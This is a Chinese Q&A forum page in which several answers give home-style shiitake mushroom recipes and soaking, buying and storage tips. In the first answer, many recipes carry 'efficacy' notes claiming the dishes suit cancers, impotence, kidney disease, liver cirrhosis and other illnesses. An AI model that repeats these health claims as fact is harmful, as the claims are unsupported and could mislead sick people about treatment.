香菇可以用来做哪些家常菜?除了香菇油菜,还有呢,一定要“家常”啊。谢谢

再问一下,水发香菇时用手搓香菇,会不会损害它的营养价值?
2025-03-04 01:46:40
推荐回答(5个)
回答1:

干香菇的泡发

烹调前,先用冷水将香菇表面冲洗干净,带柄的香菇可将根部除去,然后“鳃页”朝下放置于温水盆中浸泡,待香菇变软、“鳃页”张开后,再用手朝一个方向轻轻旋搅,让泥沙徐徐沉入盆底。浸泡香菇的水除去泥沙后还可利用。如果在浸泡香菇的温水中加入少许白糖,烹调后的味道更鲜美。

香菇小知识:如何吃香菇

2006年2月15日 来源:中国食用菌商务网
香菇是一种营养价值高而又入口鲜的高级配料。用它烩鸡、炖肉或制成火锅等,味道鲜美可口。但是,如果浸泡不得法,将失去营养价值。香菇忌用冷水浸泡,因为香菇的鲜味是由于含有核糖酸的缘故。核糖酸只有在60℃至80℃的热水中浸泡,容易被水解成具有鲜味的乌甙酸

香菇过度浸泡会损失营养

2006年1月23日 来源:网络
香菇富含麦角甾醇, 这种物质在接受阳光照射后会转变为维生素D。如果用水浸泡或过度清洗,就会损失麦角甾醇等营养成分。

二、选购香菇
市面上的香菇有“新鲜香菇"和“干香菇”两种,新鲜香菇多为本地生产的人工栽培品种。
香菇应以菇伞肥厚,伞缘曲收,内侧为乳白色,皱褶明显,菇柄短而粗,菇苞未开且菇肉厚实者较为美味。有些菇面呈裂开状,购买时应认清其裂痕是否为天然生成,若是人为切割则为膺品。

三、保存香菇
新鲜香菇可用透气膜包装后,置于冰箱冷藏,可保鲜一星期左右,或直接冷冻保存。干香菇则应放在密封罐中保存,并最好每个月取出,放置阳光下曝晒一次,可保存半年以上;亦可直接冷藏、冷冻保存,以避免腐败或生虫。

2、香菇烧菜心
用料:菜心半斤,香菇三两洗净撕成小块,香葱四棵切段,生姜指头大一块切碎末,盐适量、白糖半咖啡匙、淀粉一大匙、鸡精或味精适量。

做法:
锅内下入少许油,烧热下入青菜煸炒,然后下入香菇同炒,加入料酒、盐、鸡精、小磨香油,旺火急炒,放点水。青菜出水后,出锅。

3、微波炉版的虾仁酿香菇
第一步:鲜虾一小碗,剥去皮,用剪刀剪开虾背,洗去沙线。切碎,稍微剁一下,加点儿料酒,蒜末,姜末,白胡椒粉和水淀粉,搅拌出粘性。鲜香菇去蒂,洗净备用。
第二步:香菇的表面向下,然后,把调好的馅儿,用勺子舀入香菇。
第三步:放到一个有盖的微波器皿里。
第四步:盖上盖子,放入微波炉,转3-4分钟,把酿好的香菇摆到另外的盘子里,原来的盘子里会有些蒸香菇时的汁水,可以倒入小碗里,再稍微加入一点水淀粉,搅匀,微波炉转30秒左右,就成了薄芡,浇在虾仁上面,就好啦。

4、香菇豆腐
原料:豆腐300克,香菇3只,榨菜、酱油、糖、香油、淀粉适量。
制法:将豆腐切成四方小块,中心挖空。将洗净泡软的香菇剁碎,榨菜剁碎,加入调味料及淀粉拌匀即为馅料。将馅料放入豆腐中心,摆在碟上蒸熟,淋上香油、酱油即可食用。
特点:香菇可降低胆固醇,豆腐有利于减肥。

5、香菇豆腐煲
主 料: 嫩豆腐2块,虾仁、鲜贝、绞肉各2两;香菇2朵,芦笋2支。
配 料:酱油、蚝油各1大匙,糖半小匙,高汤1杯,薯粉1小匙,胡椒粉、麻油各适量。
做 法:
(1)、 所有的材料切丁,备用。
(2)、 起油锅,用4大匙油先炒香菇丁、绞肉、豆腐、鲜贝,加入调味料以小火焖煮,再入虾仁、芦笋丁烩一下,以薯粉水勾芡,撒上胡椒粉、淋点麻油即可。

6、香菇鸡
准备过程:
主料:半只鸡(三黄鸡就可以,如果是土鸡不容易熟),鸡肉切块后用料酒腌10分钟,香菇,白蘑菇若干。

配料:干辣椒,朝天椒,青辣椒红辣椒(多点,为了好看),葱姜蒜(葱切丝,姜切片,蒜整个就可以了),陈皮,桂皮,香叶,茴香,花椒,八角,草果(这些都可以在卖配料的摊子上买到,一起要1快5钱就够了)。以及料酒,生抽,盐,白砂糖。

烹调过程:
锅底放适量油,等油烧到7成热时倒入白砂糖,用铲子翻炒至气泡时迅速倒入鸡肉,炒至鸡肉微微上色,倒入陈皮,桂皮,香叶,茴香,花椒,八角,草果,炒上3分钟左右,把干辣椒朝天椒以及葱姜蒜倒进去(辣椒是出辣味的,加多少按自己口味来定),继续翻炒,过五分钟加入生抽,这是鸡肉颜色已经比较重了,再炒一分钟,把香菇蘑菇倒进去,翻炒2分钟后加入少量水(不用太多,因为香菇内部本身有水),转小火炖上几分钟后把青辣椒和红辣椒切大片放入炒,最后加适量盐,盐不要加少,因为香菇需要盐比较多,最好是一边加一边尝汤的味道。好了,可以出锅了,鸡肉是酱色,红色青色的辣椒还有白色的蘑菇,还有浓浓的汤汁,一定能勾起你的食欲。

7、香菇肉燥的做法
材料:
猪肉(有点肥比较好,梅花肉加五花肉)、香菇、大蒜、油葱酥
制作:
(1.)猪肉切丝或切块。(美国的绞肉都太细,完全没咬劲,煮过之后没味道,不好吃)
(2.)大蒜切末、爆香
(3.)肉吵到所有水分蒸发,加酒
(4.)加入香菇拌吵
(5.)加酱油、糖、酒、油葱酥,炒香,加水
(6.)慢火炖两小时
(7.)加油葱酥、白胡椒

8、香菇丸子烩饭

(1.)香菇泡软后切成末,生姜切末,和盐,胡椒粉,干淀粉,碎猪肉一起搅拌,打入鸡蛋,朝同方向搅拌.番茄去皮,每个一分为四,蘑菇每个一分为二.剩下的姜,蒜切片,葱切末.
(2.)锅内烧水,沸后捏丸子下锅,定行就马上捞起,不管是否熟透.捞起后和煮丸子的汤放旁边待用.
(3.)姜,蒜片炒香,加入蘑菇,略炒后加入番茄,炒几下后倒入煮丸子用的汤,加盐,鸡精.汤烧开后下肉丸子.待其熟透加入少许胡椒粉,撒入葱花,最后将做好的汤淋在白米饭上即可。

9、美味香菇汤
新鲜香菇一斤、新鲜肉一斤、小葱几根
香菇洗干净,绝对要洗干净。具体的做法就是用剪刀把蒂子剪去,只留下干净的一截香菇茎和香菇盖就行了。注意,香菇的表面要仔细摸一遍,有砂砾感觉就要弄掉,否则吃起来就遭殃了。

肉切块切丁切片随意,怎么样,够省事了吧?不过可千万还是要切开啊:P用盐和味精拌匀一下,不要放颜色太深的调料比如老抽比如某些牌子的生抽。

找个大碗把香菇放进去,稍微压一下,放平整了就好。然后把肉盖在香菇上。高压锅准备好,把碗放进高压锅,盖上盖子开始蒸,蒸个10分钟左右就好了。

出锅的时候尝尝,如果味道足够就好了,味道不够再稍微加点调料进去,比如盐和味精。其实味精基本是不用的,因为香菇本身就足够鲜美了。然后洒上葱花,开吃!

酥炸香菇

材料
中小朵生香菇:十二朵
【炸粉】
油炸粉:半碗、地瓜粉:半碗
【做法】
A、新鲜香菇洗净,去蒂,切成花状。
B、地瓜粉和油炸粉调成糊状,香菇沾上面糊下锅油炸,炸成金黄色即可捞出盛盘。
C、吃时沾胡椒盐或蕃茄酱,味美可口。

注:炸香菇又称“炸元宝”,取其形状吉祥如意

软炸香菇
主料:香菇,最好是那种比较厚实的,做好之后吃起来口感更好,新鲜的、泡发的都可以,嘿嘿,都做过了!

配料:面粉、鸡蛋

调料:盐、花椒面、鸡粉、味素或鸡精

具体操作过程:

1、把香菇洗净,撕成两半(可以自己看情况的,为的是入味好些也好炸熟)。

2、烧开水,把香菇放进去煮一小会,然后捞出放入凉水,再用手撰干(尽量把水挤出去就可以了)。

3、在面粉里打一个鸡蛋,加入盐、花椒面、鸡粉、味素或鸡精各适量(依自己的口味和香菇的多少来加吧),再加入少许温水充分搅拌,要拌的不干不稀,用筷子挑起来的时候面会慢慢的自己淌下去就差不多了,也可以放一块香菇试试能不能挂住!

4、把香菇放到调匀的面碗里,可以一次放好几朵的,然后在锅中倒油,油六七成热的时候就可以放裹好面的香菇了,太热了怕外面的面都糊了里面的香菇还没熟呢!

香菇下锅后要变成中火或小火,保持油温哦!

第一次的时候,偶偿了一下第一块俺认为炸好了的香菇,外面的面熟了,香菇的火候还差一点,建议大家也这么试试!

等老公出差回来就有相片可以补上来了,现在先这样吧!

小鸡烧香菇
(原料] 香菇80克,脱骨小鸡1只,黄瓜片、猪油、湿淀粉、玉兰片、精盐、味精、料酒、葱段、姜末、植物油、清汤各适量。
(制法) 将香菇用温水浸泡,去蒂,洗净后人开水锅内氽透捞出;把鸡剁成方块,下热油锅炸至金黄色捞出。炒锅放猪油烧热,放人香菇、料酒,翻炒片刻出锅,放在碗里。把炸好的鸡块放在香菇上,加入清汤、葱段、姜末、精盐,上笼蒸烂取出,扣在汤盘里,把玉兰片、黄瓜片摆在上面。把清汤倒人锅内,煮沸后加味精,用湿淀粉勾芡,淋入植物油,浇在鸡块上面即可。
(功效) 适用于产后乳汁不足。

香菇鸡茸豆花汤
(原料) 香菇片30克,鸡脯肉20克,鸡蛋4个,熟火腿15克,虾仁、笋片各25克,鱼肉片35克,鲜汤、精盐、料酒、味精、湿淀粉各适量。
(制法) 将鸡脯肉洗净,剔去粗筋,剁成茸,盛放碗内,加少许水、料酒、味精、精盐、湿淀粉搅拌匀。将鸡蛋清放碗中.用筷子按同一方向搅拌成糊状,然后倒入鸡肉茸碗中拌匀备用。将炒锅上旺火加热,倒入鲜汤烧沸,放人香菇片、笋片、虾仁、鱼肉片、料酒、味精、精盐,待沸撇去浮沫,改用中火加热,把鸡肉茸糊徐徐拖人汤水中,见凝聚并浮起,呈豆花形时,撒上熟火腿末即可。
(功效) 适用于遗精、阳痿、早泄。

鸭清炖香菇

(原料) 香菇(干)80克,净鸭子1只,料酒、鸡油、白糖、精盐、葱、姜各适量。 (制法) 将香菇用开水泡透,洗净,加少许鸡油和精盐拌匀备用。将鸭子从背部切开,洗净,放入沸水锅里煮3分钟,捞出后洗净,装入蒸钵内,加上香菇、料酒、白糖、葱、姜,盖上盖,上笼蒸2.5小时左右,取出去掉葱、姜,撇去浮油即可。
[功效] 消炎,清热,解毒。

鸡蒸香菇
[原料) 水发香菇50克,净鸡肉250克,大枣40克,酱油、葱段、姜片、精盐、料酒、味精、香油•、鸡汤各适量。
(制法) 将水发香菇洗净,去蒂,切成丝;大枣去核,洗净,切成丝;鸡肉切成丝。将香菇丝、鸡肉丝、大枣丝一起放入碗内,加入酱油、精盐、味精、葱段、姜片、料酒、鸡汤,放蒸笼内蒸熟后取出,摊放于盘内,淋上香油即可。
(功效) 养血补血,补脾胃,补肝肾。

鸡脯肉烧香菇
(原料) 香菇80克,咸鸭蛋黄、鸡脯肉各100克,虾仁50克,熟火腿片20克,豆腐60克,鸡蛋1个,青豆15克,干淀粉、精盐、清汤、葱姜汁、料酒、味精各适量。
(制法, 将香菇用温水浸泡软透,去蒂,洗净,挤干水备用;鸡脯肉、虾仁洗净,分别剁成茸;豆腐压成泥。鸡肉茸、虾茸同放碗内,加料酒、鸡蛋清、精盐、葱姜汁、味精、豆腐泥、干淀粉搅拌均匀成馅料。在香菇上撒上干淀粉,抹上馅料,装入平盘,然后用熟火腿片、咸鸭蛋黄碎末点缀,入笼蒸熟取出。炒锅上火,放入清汤、精盐、青豆、味精烧沸,用湿淀粉勾芡,出锅浇在香菇上即可。
[功效] 适用于产后乳汁不足。

里脊肉烩香菇核桃仁
(原料) 香菇200克,核桃仁100克,猪里脊肉150克,精盐、味精、胡椒粉、葱头、姜、酱油、湿淀粉、辣椒油、猪油、香油各适量。
(制法) 将香菇洗净,沥干水,每个一剖二片;核桃仁用沸水烫透,去皮,放人猪油锅中慢慢炸酥炸脆,捞出放在盘中备用;葱头切厚片;姜切成小片;猪里脊肉洗净后切成薄片,放人小碗内,放精盐、胡椒粉、味精、湿淀粉拌匀。用另一个小碗放味精、酱油、辣椒油、胡椒粉、湿淀粉、香油对成汁水。炒锅上中火,放猪油烧至五成热时,将猪里脊肉片下入滑至七成熟倒入漏勺中。再在锅中放少许猪油,先把香菇下人煸香,再下葱片、姜片炒透,接着把猪里脊肉片、核桃仁倒人,浇上对好的汁水,翻炒几下装盘即可。
[功效] 适用于高脂血症、心脑血管硬化症。

鲫鱼炖香菇
[原料) 香菇250克,鲫鱼800克,熟笋、醋、葱丝、姜丝、精盐、植物油、料酒各适量。
(制法) 将香菇放温水中浸泡,去蒂,洗净,切成片;熟笋切成片;鲫鱼去鳞、内脏、鳃,洗净后放入盘内,加料酒、精盐、姜丝、葱丝拌匀,腌渍片刻,拣去葱、姜。把香菇片、熟笋片平铺在鲫鱼身上,放姜丝、葱丝,上笼用旺火蒸约25分钟取出。锅放植物油烧热,放葱丝爆香,浇在鲫鱼上,食用时配醋、姜丝即可。
[功效] 适用于慢性肾炎。

鸭肫炒香菇
(原料] 香菇120克,鸭肫250克,虾仁150克,猪肥膘肉100克,鸡蛋2个,火腿末、香菜叶各30克,料酒、精盐、味精、菱粉、鸡汤各适量。
[制法] 将香菇用温水泡软,去蒂,挤干水备用;鸭肫撕去外皮,划十字花刀,放人沸水锅中氽后捞出,洗净,放在碗内,加料酒、精盐,上笼蒸熟;虾仁、猪肥膘肉洗净,分别剁细后放在一起拌匀,加入鸡蛋清、菱粉、精盐拌匀,分成若干份。香菇摊开,加菱粉•。将每份虾仁、猪肥膘肉泥放在香菇上抹平,再用火腿末、香菜叶放在上面,上笼蒸熟。炒锅内加鸡汤、料酒、味精、精盐,烧几沸后盛在大汤碗内,把蒸好的鸭肫、香菇先后放人汤中即可。
[功效] 适用于小儿佝偻病。

菠萝炒香菇
(原料) 香菇25克,鸡肉250克,菠萝罐头180克,水发玉兰片、火腿各20克,鸡蛋1个,植物油、清汤、料酒、味精、精盐各适量。
(制法) 将鸡肉去皮、骨,洗净,切成片,用鸡蛋清、料酒、精盐、味精上浆。把香菇、火腿、水发玉兰片切成片。将鸡肉片放锅内用温油滑开,放人香菇片、火腿片、玉兰片、清汤、精盐、鸡肉片,加入菠萝即可。
[功效] 清热解暑,适用于肠炎、腹泻。

茭白炒香菇
[原料] 香菇80克,胡萝,\30克,茭白70克,油菜100克,水发腐竹50克,油面筋25克,冬瓜20克,龙须菜40克,水发黄花菜15克,香油、精盐、味精、淀粉、鸡汤各适量。
(制法) 将香菇洗净后去蒂;胡萝卜、冬瓜、茭白去皮;油菜、龙须菜、水发黄花菜、水发腐竹、油面筋洗净后均切成段。将以上各料放人沸水锅中氽透捞出,沥干水。炒锅放火上,加鸡汤,放人以上各料,烧开后改用小火煨煮片刻,加精盐、味精,再用淀粉勾芡,淋上香油,出锅盛人盘内即可。
[功效] 适用于乳腺癌。

芹菜心炒香菇
[原料) 香菇120克,芹菜心250克,香油、味精、料酒、湿淀粉、精盐、葱、姜、酱油各适量。
(制法) 将香菇洗净,每个切成2片;芹菜心洗净,切成斜丝。把香菇片、芹菜丝同入沸水锅中氽透捞出,沥干水。炒锅放火上,放香油、葱、姜煸炒片刻后放人香菇片、芹菜丝煸炒,加入料酒、酱油、精盐、味精,用湿淀粉勾芡,淋入香油炒匀,出锅盛入盘内即可。
[功效] 适用于大肠癌、子宫颈癌、乳腺癌。

油面筋香菇包子
[原料] 香菇180克,水发黑木耳80克,油面筋60克,青菜200克,面粉600克,白糖、味精、香油、精盐、鲜酵母各适量。
(制法) 将香菇、水发黑木耳、油面筋洗净后切成细粒;青菜洗净,在沸水锅内氽熟捞出,用冷水漂凉,切成细粒,挤干水。炒锅烧热,放人香油烧至六成热时,投入香菇末、黑木耳末、油面筋末、精盐、白糖煸炒至熟,起锅时加入青菜末、味精拌匀,淋上香油即成馅心。将面粉加鲜酵母用温水调成糊状,揉成面团,盖上布,静置2小时,使其发酵。面团胀发膨松时做成圆皮坯,放上馅心,包成包子,放人蒸笼静置15分钟左右,再放到旺火沸水锅上蒸lo分钟即可。
(功效) 适用于子宫颈癌、乳腺癌。

菜心炒香菇
(原料] 香菇60克,油菜200克,鸡汤、白糖、精盐、料酒、淀粉、鸡油各适量。
[制法) 将香菇用温水泡开,去蒂,洗净;油菜从根部切开,在沸水锅内焯透捞出,用冷水冲凉,沥干水。将锅上火,放入鸡油烧热,加鸡汤、白糖、精盐、料酒、油菜和香菇,烧5分钟,取出油菜和香菇,整齐地摆在盘内。锅内原汁用淀粉勾芡,浇在香菇油菜上即可。
[功效] 散淤消肿,清热解毒,防病抗癌。

栗子烧香菇
(原料) 水发香菇100克,栗子80克,绿叶菜、熟植物油、湿淀粉、香油、味精、白糖各适量。
(制法) 将水发香菇洗净,去蒂;栗子用刀划至栗子肉的4/5,放在沸水锅中,待壳裂开时,迅速剥去壳、内衣。炒锅用中火加热,加熟植物油烧热,下香菇、白糖、栗子和适量水烧沸,加味精,改用小火焖3分钟,放绿菜叶,用湿淀粉勾芡,淋上香油,出锅装盘即可。
(功效) 适用于慢性肝炎、肝硬化。

马铃薯炸香菇
(原料) 香菇80克,熟马铃薯250克,青豆30克,熟笋20克,面粉85克,熟植物油100毫升,面包粉100克,酱油、味精、精盐、姜末、白糖各适量。
(制法) 将香菇洗净,去蒂,与熟笋切成米粒大的丁。炒锅放油烧至六成热时,加香菇丁、熟笋丁、青豆煸炒,再放酱油、味精、姜末炒熟,冷却后即成馅心。将熟马铃薯去皮制成泥,放于碗内,加精盐、味精、白糖拌匀,同馅心拌在一起成为鸽蛋料。在盆内放人面粉、精盐,加冷水调成薄浆。把拌好的鸽蛋料捏成鸽蛋形,投入面浆内裹匀,然后逐个捞起,放在面包粉里蘸匀,下植物油锅炸至呈金黄色,捞出沥油,装盘即可。
[功效] 适用于缺铁性贫血。

橄榄菜烧香菇
(原料] 香菇250克,橄榄菜200克,熟笋50克,味精、姜末、熟植物油、料酒、精盐各适量。
(制法) 将香菇洗净,切成片;熟笋切成片;橄榄莱洗净,沥干水,切成段。炒锅上旺火,下植物油烧至八成热,将橄榄菜段、笋片、香菇片投入煸炒,加料酒、精盐、味精、姜末炒匀,起锅装盆即可。
(功效) 适用于高脂血症、心脑血管硬化症。

大枣蒸香菇
[原料] 香菇20克,大枣70克,料酒、熟植物油、姜片、精盐、味精各适量。
(制法) 将香菇人温水中泡透,洗净,去蒂。泡香菇的汁澄清后过滤,倒入有盖的瓷碗内,加水适量,放人香菇、洗净的大枣、熟植物油、精盐、姜片、味精、料酒,盖上盖,人笼用旺火蒸60分钟取出即可。
[功效] 适用于慢性肾炎。

荸荠炒香菇
[原料] 水发香菇180克,荸荠200克,植物油、肉汤、精盐、姜末、白糖、湿淀粉、料酒、香油、味精各适量。
[制法] 将水发香菇洗净,去蒂,挤干水;荸荠洗净,去皮,切成片。炒锅上旺火,加植物油烧热,下姜末、香菇煸香,放荸荠片,加入料酒、肉汤烧沸,加精盐、白糖、味精烧人味,用湿淀粉勾芡,淋人香油,出锅装盘即可。
[功效] 适用于慢性肾炎。

核桃仁炒香菇
(原料] 香菇250克,核桃仁100克,香油、植物油、料酒、精盐、味精、酱油、姜末各适量。
(制法) 将香菇用温水浸泡,去蒂,洗净,切成片。炒锅上火,倒人植物油烧至五成热,下核桃仁炸酥,倒人漏勺沥油。锅内留底油,下姜末爆香,放人香菇片煸炒,加料酒、精盐、味精、酱油烧沸,下核桃仁,改用小火煨片刻,再用旺火收稠汤汁,淋入香油,出锅装盘即可。
(功效) 适用于慢性肾炎。

白菜心炒香菇
(原料) 水发香菇100克,白菜心200克,葱花、蒜片、料酒、姜末、味精、熟鸡油、精盐各适量。
[制法] 将水发香菇洗净;白菜心洗净后切成段。炒锅放旺火上烧热,放入熟鸡油、姜末、蒜片、葱花爆香,下香菇、白菜心煸炒,加料酒、精盐、味精炒透,出锅装盘即可。
[功效] 适用于慢性肾炎。

黄豆芽汤烧香菇
[原料] 香菇200克,黄豆芽汤、姜片、料酒、熟植物油、精盐、味精、白糖各适量。
(制法] 将香菇用温水浸泡(浸汁备用),去蒂,洗净,整齐地排在大汤碗内。炒锅加旺火,将黄豆芽汤和香菇浸汁倒人锅内,加白糖、料酒、姜片、精盐烧开,撇去浮沫,倒人大汤碗内,放人熟植物油,盖上碗盖,人笼用旺火蒸约20分钟,出笼拣去姜片,放味精调味即可。
[功效] 适用于产后乳汁不足。

豌豆苗炒香菇
[原料) 水发香菇200克,豌豆苗160克,肉汤200毫升,植物油、精盐、味精各适量。
(制法] 将水发香菇洗净,去蒂;豌豆苗洗净,切成段。炒锅用中火加热,人植物油、香菇、豌豆苗、肉汤、精盐、味精炒匀装盆即可。
(功效) 适用于高脂血症、高血压。

白菜心烧香菇
(原料) 香菇100克,白菜心200克,肉汤500毫升,精盐、味精、猪油、香油、胡椒粉、湿淀粉各适量。
(制法) 将香菇去根,放水中泡涨,洗净,挤干水;白菜心洗净,菜头划十字花刀,放人沸水锅中氽熟捞出,再放人凉水中泡凉,沥干水。炒锅放中火上,锅热放猪油、香菇煸炒,加入肉汤、精盐、味精、胡椒粉、白菜心煮沸,改用小火将白菜心烧熟,用湿淀粉勾芡,淋上香油即可。
[功效] 适用于高血压。

香菇炒熟笋
(原料) 香菇25个,熟笋120克,粉皮3张,绿豆粉400克,植物油1 000毫升(约耗100毫升),水发金针菜25根,冰糖、料酒、姜末、清汤各适量。
(制法] 将香菇洗净,去蒂,沥干水,面朝下整齐地平摊在板上;熟笋切成片,放在香菇上;粉皮切成长6厘米、宽3厘米的片贴在笋片上面,每3块叠在一起,再用水发金针菜2根作为带子,把香菇、笋片、粉皮扎牢即成素甲鱼生坯。将绿豆粉加水调成厚糊,然后把素甲鱼生坯投入挂糊。炒锅上火,倒人植物油烧至六成热,把素甲鱼逐块滑人油锅,炸至淡金黄时捞出沥油。炒锅中留底油,加入清汤、冰糖、料酒、姜末,烧开后放入炸好的素甲鱼,转用小火烧至卤汁稠浓,起锅装盘即可(香菇面朝上)。
(功效) 适用于高血压、高脂血症。

冬笋豆腐炖香菇
(原料) 香菇50克,冬笋片20克,豆腐250克.鸡汤、味精、绿菜叶、香油、精盐各适量。
(制法) 将香菇洗净,去蒂,挤干水;豆腐切成小块,入沸水锅中焯一下捞出;冬笋片人沸水锅中氽后捞出。汤锅烧旺火,放人鸡汤、香菇、冬笋片烧沸,放精盐、味精、豆腐块和洗干净的绿菜叶,淋人香油,出锅装盆即可。
[功效] 适用于慢性肝炎。

扁豆烧香菇
(原料] 香菇60克,扁豆200克,冬笋片40克,猪油、酱油、肉汤、姜末、湿淀粉、味精、精盐各适量。
(制法) 将香菇用温水浸泡,去蒂,洗净,切成厚片;扁豆洗净后摘去筋,切成两段,入沸水锅中煮一下,捞出放凉水中浸泡片刻,沥干水。炒锅烧热,加猪油、姜末炸香,随即下精盐、酱油、肉汤,烧开后下香菇片、扁豆段、冬笋片煨煮5分钟,加味精,用湿淀粉勾芡即可。
[功效] 减肥,适用于高血压。

豆腐干炒香菇
[原料] 水发香菇250克,豆腐干60克,熟笋20克,豆腐皮4张,豌豆苗40克,面粉100克,酱油、味精、白糖、鲜汤、精盐、湿淀粉、植物油各适量。
(制法) 将水发香菇、豆腐干、熟笋均切成细丝。炒锅烧中火,放植物油烧至五成热,加入香菇丝、熟笋丝、豆腐千丝、酱油、白糖、味精,炒熟后即为馅心。在豆腐皮上铺放馅心,包成长10厘米、中指大的圆条3条,每条切成5段。面粉加精盐、水适量调成糊。炒锅放植物油烧至七成热,将豆腐皮圆条浸入面粉糊挂浆,入油锅炸,边炸边翻动,呈金黄色时捞出沥油。热锅留底油,放人剩下的香菇丝、熟笋丝、豌豆苗煸炒,加酱油、味精、鲜汤、白糖,用湿淀粉勾芡,淋上熟油,再投豆腐皮圆条,翻炒片刻,起锅装盘即可。
(功效) 助小儿发育,适用于佝偻病。

香菇炸豆腐
[原料] 水发香菇80克,豆腐皮4张,冬笋200克,荸荠、香菜、面粉、五香粉、植物油、姜、味精、酱油各适量。
[制法] 将水发香菇去蒂,洗净,切成细条;冬笋切成条;荸荠去皮,切片后再切成条;姜切细丝;面粉放在盆中,加水、酱油、味精搅匀成糊。将锅放在中火上,放植物油烧热,放人香菇条、酱油、五香粉、味精拌匀,取出备用。将豆腐皮切成长8厘米、宽3厘米的小片,每次取豆腐皮1片,放上香菇条、冬笋条、荸荠条、姜丝,排整齐,然后卷实,合口处用面粉粘合,再将整个卷子合口处用面粉粘合,放人面粉糊中搅匀。将炒锅放火上,下植物油烧到八成热,下豆腐皮卷子生坯炸至酥脆,倒进漏勺沥去油,趁热配香莱食用。
[功效] 清热,化痰,消积。

香菇炒冬瓜
(原料) 香菇60克,冬瓜1 500克,鸡汤、白糖、料酒、精盐、鸡油各适量。
(制法) 将香菇用温水泡开,去根蒂,洗净;冬瓜去皮、瓤,切成齿轮状,大小与香菇接近,放开水锅内氽至半熟后捞出。将鸡油下锅,把香菇煸炒一下,加入鸡汤、白糖、料酒、精盐和冬瓜,中火烧5分钟左右,装盘即可。

回答2:

香菇鸡汤的做法!

[原料/调料]
鸡 1/2只
新鲜香菇 10朵
姜片 5片
水 8杯

米酒 1/3杯
香油 1/3大匙
盐 1/3大匙
柴鱼味精 1/3大匙

[制作流程]
(1)将鸡切块氽烫去血水,捞起洗净备用。
(2)香菇洗净沥干去蒂再对切。
(3)姜洗净切片备用。
(4)将8杯水倒入汤锅中,放入鸡肉块、香菇、姜片与所有调味料。
(5)用中火炖煮30分钟。
(6)捞去浮沫即可食用。

香菇木耳鸡汤

用料:干香菇15朵,黑木耳2两用凉水浸泡,至膨胀发软,待用.
炖汤用母鸡一只,洗净,去内脏.生姜一块,切片.青葱2棵,切段.
做法:将母鸡放入汤锅,同时放入生姜,香菇,木耳,加料酒一汤匙,加水入汤锅,直至没过鸡身. 用武火将汤煮沸,后用文火慢炖,至鸡酥软后下盐,用盐量按个人嗜好而定.放入葱段,再煮3-5分钟,即可饮用.怕肥的女生,可以买去皮鸡肉炖,味道差不多,不过没有整鸡那么补了.

主料:母鸡1只

辅料:香菇150克、油菜50克、胡萝卜50克

调料:鲜姜、葱白、料酒、精盐

做法:1、母鸡宰杀后去毛、内脏,整理干净,剁下鸡劲和鸡爪,一同放入锅内加清水(要没过鸡)。
2、将鲜姜洗净,拍松,放入锅内,加盖后用大火烧开,撇去浮沫,加入料酒、精盐。
3、将葱洗净,切段放入锅内;胡萝卜洗净切片放入锅内;香菇洗净,用热水泡软后也放入锅内(泡水也可倒入锅内)。用中火将鸡煮烂,将整鸡捞入汤碗内(要保持完整)。
4、将油菜洗净切段,放入鸡汤内煮开5分钟,捞去葱、姜。连菜带汤倒入碗内,将鸡头、脖、爪捞出即可。

特点:具有红、绿、棕、白多种色彩,味道鲜香可口

直到那香浓的汤味在厨房里肆意蔓延,才发现原来用最简单的方法也能做出如此美味的鸡汤,当然不能不把这么好的美食推荐给你,香菇鸡腿汤。

可惜图片无法把这道靓汤的香味传递给你。

选用的材料是:

鸡腿 1个
香菇 20粒
姜 2片

调味料:

盐 3g
料酒 10ml

制作方法:

先用温水把香菇泡发,清除香菇表面和根部的细小泥沙。

把鸡腿洗净后斩成3cm左右宽的块,姜要切成片。

先用加有料酒的沸水把鸡腿块煮一遍,去掉惺味和血块,捞出备用。

发送图片到手机

大碗内装入适量清水、香菇、鸡腿块、姜片,再放入蒸锅,从水沸开始蒸20分钟。

发送图片到手机

蒸好后在汤里按个人口味放少许盐,盛入汤盅即可上桌。
瘦肉香菇鸡汤
瘦肉香菇鸡汤
原料:白术 5克 黄芪 10克 当归 5克 水发香菇 100克 猪瘦肉 150克
精盐 胡椒面少许 葱 姜
制作方法:1. 白术、黄芪润透,当归切片;
2.猪肉切小块,香菇一分为二;
3.沙锅中放入鸡汤、葱、姜片、白术、黄芪、当归、水发香菇 、猪瘦肉炖60~80分钟,拣出葱姜,放入精盐即可食用。
备注:任何肉类炖汤前都应在开水里煮一下也就是飞水。这不但可以去掉生腥味,也是一次彻底清洁的过程,还能使成汤清亮不混浊,鲜香无异味,不信就试试。当然,飞水也是有学问的。若冷水放肉,肉由水的冷到开,经历了一个煮熟的过程,营养流失严重。最宜温水下锅,煮约7到8分钟,不盖盖并适时翻动。开水下锅也行,煮约3到5分钟。
健康提示:这样做出的汤鲜味浓,白术、当归、黄芪均有补益强壮、提高人体免疫力的作用,与猪肉、香菇一起炖食,具有补脾健体、调湿利水、降血压、护肝、养肝的功效。鸡肉中所含的不饱和的脂肪酸,不会增加血液中的胆固醇含量,保护身体远离心血管疾病,是抵御秋凉的健康养生汤!

香菇鸡汤

【材料】

土鸡腿2只、干香菇6朵、红枣12粒、姜2片

调味料

酒1大匙、盐1茶匙

【作法】

1.土鸡腿剁小块,氽烫过去除血水后,冲净。

2.香菇泡软、去蒂,红枣泡软。将所有材料放入炖盅内,淋酒1大匙,再加开水6杯,外锅加水2杯半,用电锅蒸40分钟。

3.起锅前加盐调味,拌匀后即可盛出食用。

【重点提示】

1.这道汤也可以放在炉子上直接用小火煮,但仍然要水开后再放入材料,并且小火,汤汁才不混浊。

2.鸡汤未煮好前,不要加盐,这样鸡肉才会嫩,而且汤汁较鲜。

香菇鸡汤
材 料∶ 土鸡半只、北菇八片、红枣十粒、姜二片。 调味料∶ 酒一大匙、盐一茶匙。 作 法∶ 鸡洗净、切大块,先川烫过,冲净后放入炖盅内。 红枣泡十分钟加入,北菇泡软、去蒂后,连同姜片一并放入炖盅,淋酒一大匙, 加入开水盖过所有材料,用电锅或蒸笼蒸四十分钟后油盐调味即可。 重点提示∶ 北菇也是香菇的一种,菇蒂较厚,耐煮,而且香气浓,肥厚有弹性,比薄片香菇好吃。 也可以用鸡腿蒸,至少要半土鸡比较适台炖汤,肉鸡无味,不适合久煮。

回答3:

水发香菇尽量不要揉搓.直接浸泡就可以了,泡好后用手小心刮去晒干时积存的渣滓.

菜:香菇青菜,香菇肉片,香菇鸡肉,香菇油麦菜,水煮肉片(肉下的配菜是香菇,青菜,豆芽等),香菇娃娃菜,香菇胡罗卜,香菇猪肝汤......

香菇肉滑鲜嫩,口感爽醇,适合做清淡口味的菜肴.

